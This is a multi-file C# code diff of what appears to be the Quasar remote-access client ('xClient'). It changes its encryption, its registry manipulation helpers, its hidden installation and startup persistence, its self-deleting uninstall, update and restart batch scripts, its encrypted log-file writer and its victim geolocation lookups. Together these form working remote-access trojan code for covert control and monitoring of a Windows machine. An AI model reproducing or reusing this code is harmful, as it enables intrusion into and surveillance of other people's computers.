ms.Write(rd.IV, 0, rd.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
cs.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
@ -102,7 +102,7 @@ namespace xClient.Core.Cryptography
|
|||
|
||||
public static byte[] Decrypt(byte[] input)
|
||||
{
|
||||
if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
||||
|
||||
byte[] data = new byte[0];
|
||||
|
@ -111,13 +111,13 @@ namespace xClient.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream(input))
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = _key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey })
|
||||
{
|
||||
byte[] iv = new byte[IVLENGTH];
|
||||
ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message
|
||||
rd.IV = iv;
|
||||
aesProvider.IV = iv;
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateDecryptor(), CryptoStreamMode.Read))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
|
||||
{
|
||||
byte[] temp = new byte[ms.Length - IVLENGTH + 1];
|
||||
data = new byte[cs.Read(temp, 0, temp.Length)];
|
||||
|
|
|
@ -4,11 +4,9 @@ namespace xClient.Core.Data
|
|||
{
|
||||
public static class ClientData
|
||||
{
|
||||
public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
|
||||
public static string CurrentPath { get; set; }
|
||||
public static string InstallPath { get; set; }
|
||||
public static bool AddToStartupFailed { get; set; }
|
||||
public static bool IsAuthenticated { get; set; }
|
||||
|
||||
static ClientData()
|
||||
{
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using System.Linq;
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Extensions
|
||||
{
|
||||
|
@ -79,6 +80,285 @@ namespace xClient.Core.Extensions
|
|||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create a sub key from the key provided using the specified
|
||||
/// name. This method assumes the caller will dispose of the key when done using it.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub key is to be created from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
|
||||
/// unable to create a sub-key.</returns>
|
||||
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
return key.CreateSubKey(name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete a sub-key and its children from the key provided using the specified
|
||||
/// name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.DeleteSubKeyTree(name, false);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#region Rename Key
|
||||
|
||||
/*
|
||||
* Derived and Adapted from drdandle's article,
|
||||
* Copy and Rename Registry Keys at Code project.
|
||||
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This is a work that is not of the original. It
|
||||
* has been modified to suit the needs of another
|
||||
* application.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* First Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
|
||||
*/
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a sub-key to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the subkey is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
||||
/// </returns>
|
||||
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyKey(oldName, newName);
|
||||
//Despose of the old key
|
||||
key.DeleteSubKeyTree(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to despose of the newKey (The rename failed)
|
||||
key.DeleteSubKeyTreeSafe(newName);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to copy a old subkey to a new subkey for the key
|
||||
/// provided using the specified old name and new name. (throws exceptions)
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the subkey is to be deleted from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
//Create a new key
|
||||
using (RegistryKey newKey = key.CreateSubKey(newName))
|
||||
{
|
||||
//Open old key
|
||||
using (RegistryKey oldKey = key.OpenSubKey(oldName, true))
|
||||
{
|
||||
//Copy from old to new
|
||||
RecursiveCopyKey(oldKey, newKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a sub-key to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="sourceKey">The source key to copy from.</param>
|
||||
/// <param name="destKey">The destination key to copy to.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||
{
|
||||
|
||||
//Copy all of the registry values
|
||||
foreach (string valueName in sourceKey.GetValueNames())
|
||||
{
|
||||
object valueObj = sourceKey.GetValue(valueName);
|
||||
RegistryValueKind valueKind = sourceKey.GetValueKind(valueName);
|
||||
destKey.SetValue(valueName, valueObj, valueKind);
|
||||
}
|
||||
|
||||
//Copy all of the subkeys
|
||||
foreach (string subKeyName in sourceKey.GetSubKeyNames())
|
||||
{
|
||||
using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName))
|
||||
{
|
||||
using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName))
|
||||
{
|
||||
//Recursive call to copy the sub key data
|
||||
RecursiveCopyKey(sourceSubkey, destSubKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Region Value
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to set a registry value for the key provided using the specified
|
||||
/// name, data and kind. If the registry value does not exist it will be created
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be set for.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="data">The data of the value</param>
|
||||
/// <param name="kind">The value kind of the value</param>
|
||||
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
||||
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.SetValue(name, data, kind);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete a registry value for the key provided using the specified
|
||||
/// name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be delete from.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
||||
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
key.DeleteValue(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#region Rename Value
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a registry value to the key provided using the specified old
|
||||
/// name and new name.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the registry value is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
||||
/// </returns>
|
||||
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyValue(oldName, newName);
|
||||
//Despose of the old value
|
||||
key.DeleteValue(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to despose of the newKey (The rename failed)
|
||||
key.DeleteValueSafe(newName);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to copy a old registry value to a new registry value for the key
|
||||
/// provided using the specified old name and new name. (throws exceptions)
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which the registry value is to be copied.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
public static void CopyValue(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
RegistryValueKind valueKind = key.GetValueKind(oldName);
|
||||
object valueData = key.GetValue(oldName);
|
||||
|
||||
key.SetValue(newName, valueData, valueKind);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region Find
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the specified subkey exists in the key
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the sub-key to find.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
public static bool ContainsSubKey(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (string subkey in key.GetSubKeyNames())
|
||||
{
|
||||
if (subkey == name)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the specified registry value exists in the key
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the registry value to find.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
public static bool ContainsValue(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (string value in key.GetValueNames())
|
||||
{
|
||||
if (value == name)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Gets all of the value names associated with the registry key and returns
|
||||
/// formatted strings of the filtered values.
|
||||
|
@ -94,5 +374,69 @@ namespace xClient.Core.Extensions
|
|||
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
|
||||
}
|
||||
}
|
||||
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)";
|
||||
case RegistryValueKind.MultiString:
|
||||
return string.Join(" ", (string[])valueData);
|
||||
case RegistryValueKind.DWord: //Convert with hexadecimal before int
|
||||
return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString());
|
||||
case RegistryValueKind.QWord:
|
||||
return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("X8").ToLower(), ((ulong)((long)valueData)).ToString());
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
return valueData.ToString();
|
||||
case RegistryValueKind.Unknown:
|
||||
default:
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return "REG_BINARY";
|
||||
case RegistryValueKind.MultiString:
|
||||
return "REG_MULTI_SZ";
|
||||
case RegistryValueKind.DWord:
|
||||
return "REG_DWORD";
|
||||
case RegistryValueKind.QWord:
|
||||
return "REG_QWORD";
|
||||
case RegistryValueKind.String:
|
||||
return "REG_SZ";
|
||||
case RegistryValueKind.ExpandString:
|
||||
return "REG_EXPAND_SZ";
|
||||
case RegistryValueKind.Unknown:
|
||||
return "(Unknown)";
|
||||
default:
|
||||
return "REG_NONE";
|
||||
}
|
||||
}
|
||||
|
||||
public static object GetDefault(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return new byte[] {};
|
||||
case RegistryValueKind.MultiString:
|
||||
return new string[] {};
|
||||
case RegistryValueKind.DWord:
|
||||
return 0;
|
||||
case RegistryValueKind.QWord:
|
||||
return (long)0;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
return "";
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,6 +1,8 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using xClient.Config;
|
||||
using xClient.Core.Cryptography;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
|
@ -20,6 +22,21 @@ namespace xClient.Core.Helper
|
|||
return string.Concat(randomName.ToString(), extension);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates an unused temp file path.
|
||||
/// </summary>
|
||||
/// <param name="extension">The file extension with dot.</param>
|
||||
/// <returns>The path to the temp file.</returns>
|
||||
public static string GetTempFilePath(string extension)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
string tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
|
||||
if (File.Exists(tempFilePath)) continue;
|
||||
return tempFilePath;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool IsValidExecuteableFile(byte[] block)
|
||||
{
|
||||
if (block.Length < 2) return false;
|
||||
|
@ -35,18 +52,17 @@ namespace xClient.Core.Helper
|
|||
{
|
||||
try
|
||||
{
|
||||
string batchFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
GetRandomFilename(12, ".bat"));
|
||||
string batchFile = GetTempFilePath(".bat");
|
||||
|
||||
string uninstallBatch = (isFileHidden)
|
||||
? "@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 20 localhost > nul" + "\n" +
|
||||
"ping -n 10 localhost > nul" + "\n" +
|
||||
"del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"del " + "\"" + batchFile + "\""
|
||||
: "@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 20 localhost > nul" + "\n" +
|
||||
"ping -n 10 localhost > nul" + "\n" +
|
||||
"del " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"del " + "\"" + batchFile + "\""
|
||||
;
|
||||
|
@ -64,20 +80,19 @@ namespace xClient.Core.Helper
|
|||
{
|
||||
try
|
||||
{
|
||||
string batchFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
GetRandomFilename(12, ".bat"));
|
||||
string batchFile = GetTempFilePath(".bat");
|
||||
|
||||
string uninstallBatch = (isFileHidden)
|
||||
? "@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 20 localhost > nul" + "\n" +
|
||||
"ping -n 10 localhost > nul" + "\n" +
|
||||
"del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"del " + "\"" + batchFile + "\""
|
||||
: "@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 20 localhost > nul" + "\n" +
|
||||
"ping -n 10 localhost > nul" + "\n" +
|
||||
"del " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
|
@ -93,6 +108,29 @@ namespace xClient.Core.Helper
|
|||
}
|
||||
}
|
||||
|
||||
public static string CreateRestartBatch()
|
||||
{
|
||||
try
|
||||
{
|
||||
string batchFile = GetTempFilePath(".bat");
|
||||
|
||||
string uninstallBatch =
|
||||
"@echo off" + "\n" +
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||
"ping -n 10 localhost > nul" + "\n" +
|
||||
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||
"del " + "\"" + batchFile + "\"";
|
||||
|
||||
File.WriteAllText(batchFile, uninstallBatch);
|
||||
|
||||
return batchFile;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool ClearReadOnly(string filePath)
|
||||
{
|
||||
try
|
||||
|
@ -108,5 +146,31 @@ namespace xClient.Core.Helper
|
|||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Appends text to a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
/// <param name="appendText">The text to append.</param>
|
||||
public static void WriteLogFile(string filename, string appendText)
|
||||
{
|
||||
appendText = ReadLogFile(filename) + appendText;
|
||||
|
||||
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
|
||||
{
|
||||
byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText));
|
||||
fStream.Seek(0, SeekOrigin.Begin);
|
||||
fStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
public static string ReadLogFile(string filename)
|
||||
{
|
||||
return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -85,7 +85,7 @@ namespace xClient.Core.Helper
|
|||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
|
@ -121,7 +121,7 @@ namespace xClient.Core.Helper
|
|||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
|
@ -139,6 +139,7 @@ namespace xClient.Core.Helper
|
|||
string xmlCountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml;
|
||||
string xmlRegion = doc.SelectSingleNode("Response//RegionName").InnerXml;
|
||||
string xmlCity = doc.SelectSingleNode("Response//City").InnerXml;
|
||||
string timeZone = doc.SelectSingleNode("Response//TimeZone").InnerXml;
|
||||
|
||||
GeoInfo.ip = (!string.IsNullOrEmpty(xmlIp))
|
||||
? xmlIp
|
||||
|
@ -155,6 +156,11 @@ namespace xClient.Core.Helper
|
|||
GeoInfo.city = (!string.IsNullOrEmpty(xmlCity))
|
||||
? xmlCity
|
||||
: "Unknown";
|
||||
GeoInfo.timezone = (!string.IsNullOrEmpty(timeZone))
|
||||
? timeZone
|
||||
: "Unknown";
|
||||
|
||||
GeoInfo.isp = "Unknown"; // freegeoip does not support ISP detection
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -168,6 +174,8 @@ namespace xClient.Core.Helper
|
|||
GeoInfo.country_code = "-";
|
||||
GeoInfo.region = "Unknown";
|
||||
GeoInfo.city = "Unknown";
|
||||
GeoInfo.timezone = "Unknown";
|
||||
GeoInfo.isp = "Unknown";
|
||||
LocationCompleted = false;
|
||||
}
|
||||
|
||||
|
|
|
@ -82,6 +82,11 @@ namespace xClient.Core.Helper
|
|||
return key.ToString();
|
||||
}
|
||||
|
||||
public static string Filter(string input)
|
||||
{
|
||||
return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'");
|
||||
}
|
||||
|
||||
public static string GetDisplayName(Keys key, bool altGr = false)
|
||||
{
|
||||
string name = key.ToString();
|
||||
|
|
|
@ -34,7 +34,7 @@ namespace xClient.Core.Helper
|
|||
|
||||
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
||||
Is64Bit = Environment.Is64BitOperatingSystem;
|
||||
FullName = string.Format("{0} {1} Bit", Name, Is64Bit ? (ushort)64 : (ushort)32);
|
||||
FullName = string.Format("{0} {1} Bit", Name, Is64Bit ? 64 : 32);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
using System.Diagnostics;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Enums;
|
||||
|
||||
namespace xClient.Core.Helper
|
||||
|
@ -38,12 +38,12 @@ namespace xClient.Core.Helper
|
|||
|
||||
public static void StartUserIdleCheckThread()
|
||||
{
|
||||
new Thread(UserIdleThread).Start();
|
||||
new Thread(UserIdleThread) {IsBackground = true}.Start();
|
||||
}
|
||||
|
||||
static void UserIdleThread()
|
||||
{
|
||||
while (!ClientData.Disconnect)
|
||||
while (!QuasarClient.Exiting)
|
||||
{
|
||||
Thread.Sleep(5000);
|
||||
if (IsUserIdle())
|
||||
|
|
|
@ -24,7 +24,6 @@ namespace xClient.Core.Installation
|
|||
}
|
||||
catch (Exception)
|
||||
{
|
||||
ClientData.Disconnect = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
@ -61,9 +60,8 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true);
|
||||
}
|
||||
catch
|
||||
catch (Exception)
|
||||
{
|
||||
ClientData.Disconnect = true;
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -91,7 +89,7 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = true,
|
||||
UseShellExecute = false,
|
||||
FileName = ClientData.InstallPath
|
||||
};
|
||||
try
|
||||
|
@ -100,10 +98,7 @@ namespace xClient.Core.Installation
|
|||
}
|
||||
catch (Exception)
|
||||
{
|
||||
ClientData.Disconnect = true;
|
||||
return;
|
||||
}
|
||||
ClientData.Disconnect = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
using System.Diagnostics;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using xClient.Config;
|
||||
using xClient.Core.Data;
|
||||
|
@ -12,39 +13,34 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
public static void Uninstall(Client client)
|
||||
{
|
||||
if (!Settings.INSTALL)
|
||||
{
|
||||
new Packets.ClientPackets.SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
RemoveExistingLogs();
|
||||
|
||||
if (Settings.STARTUP)
|
||||
Startup.RemoveFromStartup();
|
||||
|
||||
try
|
||||
{
|
||||
RemoveExistingLogs();
|
||||
|
||||
if (Settings.STARTUP)
|
||||
Startup.RemoveFromStartup();
|
||||
|
||||
if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
|
||||
new Packets.ClientPackets.SetStatus("Uninstallation failed: File is read-only").Execute(client);
|
||||
throw new Exception("Could not clear read-only attribute");
|
||||
|
||||
string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile)) return;
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create uninstall-batch file");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
Program.ConnectClient.Exit();
|
||||
}
|
||||
finally
|
||||
catch (Exception ex)
|
||||
{
|
||||
ClientData.Disconnect = true;
|
||||
client.Disconnect();
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -2,7 +2,6 @@
|
|||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using xClient.Config;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Helper;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Utilities;
|
||||
|
@ -11,38 +10,38 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
public static class ClientUpdater
|
||||
{
|
||||
public static void Update(Client c, string newFilePath)
|
||||
public static void Update(Client client, string newFilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (bytes[0] != 'M' && bytes[1] != 'Z')
|
||||
if (!FileHelper.IsValidExecuteableFile(bytes))
|
||||
throw new Exception("no pe file");
|
||||
|
||||
string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile)) throw new Exception("Could not create update batch file.");
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create update batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
ClientData.Disconnect = true;
|
||||
if (Settings.INSTALL && Settings.STARTUP)
|
||||
if (Settings.STARTUP)
|
||||
Startup.RemoveFromStartup();
|
||||
c.Disconnect();
|
||||
|
||||
Program.ConnectClient.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
NativeMethods.DeleteFile(newFilePath);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -34,9 +34,10 @@ namespace xClient.Core.Networking
|
|||
/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
|
||||
private void OnClientFail(Exception ex)
|
||||
{
|
||||
if (ClientFail != null)
|
||||
var handler = ClientFail;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientFail(this, ex);
|
||||
handler(this, ex);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -62,9 +63,10 @@ namespace xClient.Core.Networking
|
|||
|
||||
Connected = connected;
|
||||
|
||||
if (ClientState != null)
|
||||
var handler = ClientState;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientState(this, connected);
|
||||
handler(this, connected);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -86,9 +88,10 @@ namespace xClient.Core.Networking
|
|||
/// <param name="packet">The packet that has been received by the server.</param>
|
||||
private void OnClientRead(IPacket packet)
|
||||
{
|
||||
if (ClientRead != null)
|
||||
var handler = ClientRead;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientRead(this, packet);
|
||||
handler(this, packet);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -114,9 +117,10 @@ namespace xClient.Core.Networking
|
|||
/// <param name="rawData">The packet in raw bytes.</param>
|
||||
private void OnClientWrite(IPacket packet, long length, byte[] rawData)
|
||||
{
|
||||
if (ClientWrite != null)
|
||||
var handler = ClientWrite;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientWrite(this, packet, length, rawData);
|
||||
